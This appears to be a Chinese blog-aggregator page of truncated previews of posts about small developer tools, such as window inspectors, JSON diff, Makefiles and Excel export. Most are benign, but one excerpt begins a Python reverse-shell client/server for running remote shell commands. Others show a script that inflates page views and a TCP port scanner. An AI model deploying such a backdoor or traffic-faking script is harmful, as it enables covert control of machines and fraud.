几年前写的一个获取windows窗体基本信息和屏幕取色的小工具 ,一直在用. 下载地址 http://files.cnblogs.com/dint/SpyPlus.zip…
分享一个WPF 实现 Windows 软件快捷小工具 Windows 软件快捷小工具 作者:WPFDevelopersOrg 原文链接:https://github.com/WPFDevelopersOrg/SoftwareHelper 框架使用.NET40: Visual Studio 2019; 项目使用 MIT 开源许可协议: 项目使用 MVVM 模式来实现详细学习和理解 WPF: 项目中技术使用到 WindowsAPI .Style.CustomControl.Json 序列化和反序列化…
标签:android分享 一个很强大的log开 1.API亮点: 此API可以实现不更换APK,在出问题的手机上就直接能抓到有效log,能提升不少工作效率. 2.API介绍 最近在解决短信问题时,看到一个很强大的LOG开关---Log.isLoggable 1. if (Log.isLoggable(LogTag.TRANSACTION, Log.VERBOSE)) { 2.     Log.v(TAG, "Creating TransactionService"); 3. } 进入f…
先上代码. jsondiff.py #!/usr/bin/python #_*_encoding:utf-8_*_ import argparse import json import sys reload(sys) sys.setdefaultencoding('utf-8') def parseArgs(): description = 'This program is used to output the differences of keys of two json data.' par…
原文链接:如何做一个App里的web调试小工具 我们知道现在hybrid app非常流行,在这样的app里,h5页面是应用非常广泛的.相对于以往在pc端开发的网页,放在app里的网页由于无法直接使用桌面浏览器的开发者工具,导致我们在有时候在调试的时候不知道到底报了什么错.所以我们需要一个能够在调试app内h5的调试工具,方便我们定位bug. 现在市面上已经有很多比较成熟的工具可以用,例如jsconsole.weinre,都是平常会用到的.但是我自己还是想做一个debug工具,一方面是这些调试工具…
一. 背景 公司又要做一个新项目,是一个合作型项目,我们公司出web展示服务,合作伙伴线下提供展示数据. 而且本次项目是数据统计展示为主要功能,并没有研发对应的数据接入接口,所有展示数据源均来自数据库查询, 所以验证数据没有别的入口,只能通过在数据库写入数据来进行验证. 二. 工具 Python+mysql 三.前期准备 前置:当然是要先准备好测试方案和测试用例,在准备好这些后才能目标明确将要开发自动化小工具都要有哪些功能,避免走弯路 3.1 跟开发沟通 1)确认数据库连接方式,库名 : 2)测…
下面分享一个小脚本,用来刷网页PV. [root@huanqiu ~]# cat www.py #!/usr/bin/python# coding: UTF-8import webbrowser as webimport timeimport osimport randomdata = raw_input('请输入网址:')count = random.randint (3,5)j = 0while j <count: i = 0 while i <= 3: web.open_new_tab(…
特别补充一句:软件可以一次性复制多个文件的文件名. Windows 中的复制文件名实在是有些不方便 ,需要点右键 "重命名"之后再点右键选择"复制"才可复制文件名.我以前用过一个软件,叫:"复制文件名CopyFilenames",这个小软件就是为解决这个问题而出现的,仅仅点右键选择"复制文件名"就 OK 了,并且可"粘贴文件名""复制文件名并删除",大大简化了我们的常用操作. 截图如下:…
一.背景: 在很多时候,应急会发现.卧槽,异常连接,只有一个域名或者IP. 怎么办?上防火墙看记录,查域名对应的记录累成狗,自己把之前的代码改了改,写了个小工具,一条命令查询DNS相关记录,也可以指定内网服务器查询. 二.分析思路: 1.首先排查一下流量通信情况,采集远端IP.域名.及其对应的解析记录. 2.国内推荐使用我们360,以及threatbook.还有老东家tianjipartner的的威胁情报源分析是否有关联威胁,如果有采取第一波止损措施,马上下策略隔绝断网.重要的机器可以直接先断了…
编写Makefile是一个苦乐交织的事情,快乐是因为从一堆需要手工逐个处理的编译过程,进步到一条命令完成,看着代码顺畅的在屏幕上滚动,编译为最终的产品,那个过程无比愉悦:而痛苦则是,写代码已经很累了,写完代码还要编写Makefile,这多出来的一点工作,很有点最后一根稻草的感觉. 最近整理手头的几个项目,把C语言类的Makefile抽象.合并了一下,形成了一个比较通用的编译脚本,这里分享一下: #定义编译器 CC=gcc #自己特定的编译参数,这里仅为示例,这个参数是消除mac编译openssl…
很多同学在做网站的时候,有时候需要用户选择日期,年月日这些的,以前我也在用一个,但是那个的界面都不太好看,于是找啊找,找啊找,找到一个好东西,就是这个,datepicker,是jquery.ui里面的,可以下载完整版的,官方网站上面有,我这边的话就修改了一下官方demo中的例子,默认的例子里面没有年月的选择,我这个开启了,其实只是简单的几句话而已,分享给大家. 有几张图片,还可以卡看 这里贴出网盘地址,大家可以下载. http://pan.baidu.com/share/link?shareid…
今天在http://www.iopenworks.com/Products/ProductDetails/Introduction?proID=386 上面看到的,先mark下来...... 地址:http://mui.codeplex.com/ 有点像GitHub的风格. 仿Outlook风格界面框架(OSGi.NET) 插件框架 代码地址:http://www.51aspx.com/Code/UIShellOutlook…
C开源代码如下: #include <stdio.h> #include <windows.h> #include <winbase.h> typedef void (*Myproc)(LPTSTR); int main() { HINSTANCE LibHandle; Myproc ProcAdd; printf("作者:admin-神风 QQ1976604307\n"); ];//char dllbuf[11]="msvcrt.dll&…
先上个效果图 因为做的项目涉及到数据预测,其中有大量打印业务来支撑实体店的运营,因为注重的是数据,要求简洁,清晰,所以写了个很简单也很实用的工具类. 如果需要编写样式或者插入背景,都可以查阅itex官方文档,进行扩展. 这个工具是基于 itext 写的,主要作用是生成最简洁的表格,选用的jar包版本是: <dependency> <groupId>com.lowagie</groupId> <artifactId>itext</artifactId&g…
应公司文职工作人员需求,写一个车间人员工作时间的统计软件,输入开始工作时间1,再输入结束工作时间2,计算两个时间的差值. 根据需求,初步构想的UI界面如下: 下面开始干活. 分析后觉得利用PyQt4来设置UI PyQt4的安装不表,注意PyQt4的安装目录在\Lib\site-packages\PyQt4 PyQt4的资料请查看\Lib\site-packages\PyQt4\doc\html PyQt4的界面设计.界面设计先利用PyQt4安装目录下的designer.exe,拖拽控件即可.这里…
站点地图SiteMap的好处是很大的,对Seo很有好处,能够更方便.迅速的让搜索引擎收录.WordPress 有不少生成Google Sitemap 的工具,但是有些只是针对WordPress的系统的,非wordpress的就无法使用了.下面就是介绍一个,最近发现的在线制作网站地图的工具. 只需要四部你就可以完成站点地图的制作.地址http://www.xml-sitemaps.com/ 1.输入你的网址和一些附加选项.如下图 2.点击提交开始生成.你可以休息会,可能要登几分钟. 3.下载为你生…
此类用主要 jxl +注解+流 实现扩展性很强,jxl性能会比poi好一点,值得我们学习. package oa.common.utils; import java.io.OutputStream; import java.util.List; import javax.servlet.http.HttpServletResponse; import org.apache.struts2.ServletActionContext; import java.lang.reflect.Field;…
参考OPPO主题设计师站: http://dev.theme.oppomobile.com/user/user_start 想要打包成Theme文件,必须把需要打包的文件夹拖到oppo-themepack.exe这个应用程序上执行: 每次拖来拖去都很麻烦,然后就写个程序一键执行: 主要代码: /// <summary> /// 生成Theme文件 /// </summary> /// <param name="sender"></param&g…
构思: client:反向连接server,执行shell命令 server:发送命令,控制客户端 import subprocess import socket import threading target="172.22.40.41" port=55555 buffer="" def sendMag(c_socket): global buffer while True: #send cmd if len(buffer): try: print "c…
这个程序的功能是可以从表格中读取某一列数据,传到IDs 这一个参数里,然后在url中获取相应的请求值,并打印 import urllib.request import json import xlrd def read_excel(): # 打开文件 workbook = xlrd.open_workbook(r'G:\Python\est-export.xls') # 获取所有sheet print(workbook.sheet_names())# [u'sheet1', u'sheet2']…
mybatis generator-自动生成代码 准备材料: 一个文件夹,一个数据库的驱动包,mybatis-generator-core-1.3.5.jar,一条生成语句 如图:(我用的是derby数据库,使用其他数据库需修改相应的jar驱动包) generatorConfig.xml文件 <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE generatorConfiguration PUBLIC…
通过端口扫描我们可以知道目标主机都开放了哪些服务,下面通过TCP connect来实现一个TCP全连接端口扫描器. 一个简单的端口扫描器 #!/usr/bin/python3 # -*- coding: utf-8 -*- from socket import * def portScanner(host,port): try: s = socket(AF_INET,SOCK_STREAM) s.connect((host,port)) print('[+] %d open' % port) s…
一转眼,2018年的第10天就这样过去了.回看17年,曾经做了些啥都忘记了,就像每一天写日志时的样子(双手放在键盘上,怒着嘴,抬着头,望着天花板), 然后突然记得好像好久没有写随笔了(@_@).自从配置了服务器运行环境过后,在本地机子上断断续续的开始了自己第一个网页的编写开发,由于工作原因(苦逼的上班族)只能在晚上挤些时间来弄了.没开始不知道,一开始之后,才发现要学的东西太多了.所以过后我会分享和记录一些学习过程中遇到的经验或者好东西,这里分享一个很好的按钮插件(fancy-buttons).…
最近在做一些网络爬虫的时候,会经常用到正则表达式.为了写出正确的正则表达式,我经常在这个网站上进行测试:Regex Tester.这个页面上面一个输入框输入正则表达式,下面一个输入框输入测试数据,上面三个 checkBox 选择匹配模式,如果匹配正确,则将测试数据中匹配上的数据高亮.是一个很方便的工具网站. 我想,要是上不去网的时候想检测正则表达式的正确性该怎么办?不如自己写个小工具,无非就是一个界面,得到输入的正则表达式和测试数据,直接调用 Python 的 re 模块,匹配好后高亮一下就行.…
做采集的时候,可以使用file_get_contents()去获取网页源代码,但是使用file_get_contents采集,速度慢,而且超时时间,不好控制.如果采集的页面不存在,需要等待的时间很长.一般来说,curl的速度最快,其次是socket,最后是file_get_contents.现在跟大家分享一个很强大的采集类,会根据你的服务器当前的配置,自动选择最快的方式.已经封装了curl和socket,file_get_contents 用法很简单:1,采用get方法请求Http::doGet…
0. 前言 这是对C# 基础系列的一个总结,现在我们利用之前学到的知识做一个小小的工具来给我们使用. 如果有看过IO篇的小伙伴,应该有印象.当时我提过一个场景描述,我们在平时使用系统的时候,经常会为了找某个文件的位置而烦恼.那么我们现在尝试写一个控制台程序来帮助我们找文件的具体位置. 1. 分析 好,大家应该初步了解了需求内容.然后让我们来做一个简单的需求分析: 简单分析一下需求包括哪些功能点 规划各个功能点的实现方式 嗯,理论上讲还有一大堆的步骤,但因为是个练手的小项目就不扯那么多没用的了.简…
在正文开始之前需要介绍一个人:Sean Sexton. 来自明尼苏达双城的软件工程师.最为出色的是他维护了两个博客:2,000Things You Should Know About C# 和 2,000 Things You Should Know About WPF .他以类似微博式的150字简短语言来每天更新一条WPF和C#重要又容易被遗忘的知识.Follow他的博客也有一段日子了,很希望能够分享给大家. 本系列我不仅会翻译他的每一个tip,也会加入自己开发之中的看法和见解.本系列我希望自…
大家可能都知道 fir.im 是做测试发包的,上传你的 IPA/APK, 测试用户可以通过一个短链接和二维码就可快速安装测试. 除了基本的发包功能即应用上传下载外,fir.im 还为提高发包体验提供了一系列实用工具. 自动获取 UDID,别再为拿一个 UDID 操碎了心 UDID 自动获取是 fir.im 2013 年就推出的工具,可避免开发者在 UDID 获取环节浪费大量时间,这种痛,经历过的 iOS 开发者特别是外包项目开发者应该深有体会. UDID 的获取与配置是 iOS 应用 AdHoc…
需求 写这个小工具的想法,主要来源于很多团队都会用友盟.TalkingData 等第三方框架做自定义事件统计:不过统计代码加好之后,没有很好的方法来让测试工程师验证一下事件加上了没有,调用次数有没有重复等. 所以写了这个小工具,是一个保持在最前的 UIWindow,可以实时打印 log. 源码地址 源码是用 Objective-C 写的,放在 github 上了. https://github.com/DaiYue/HAMLogOutputWindow 用法 集成 只需把 HAMLogOutpu…
坑1:因为替换图片要获取所有包含image的组件,开始我使用的是gameobject.getComponents<Image>()和FindObjectsOfType<Image>() 然鹅~getcomponts只能得到gameobject本身Image类型的所有组件,无法获取子物体上的. FindObjectsOfType<Image>()只能获取所有激活的image类型的物体,image的enable未开启也可以获取. 使用GetComponentsInChild…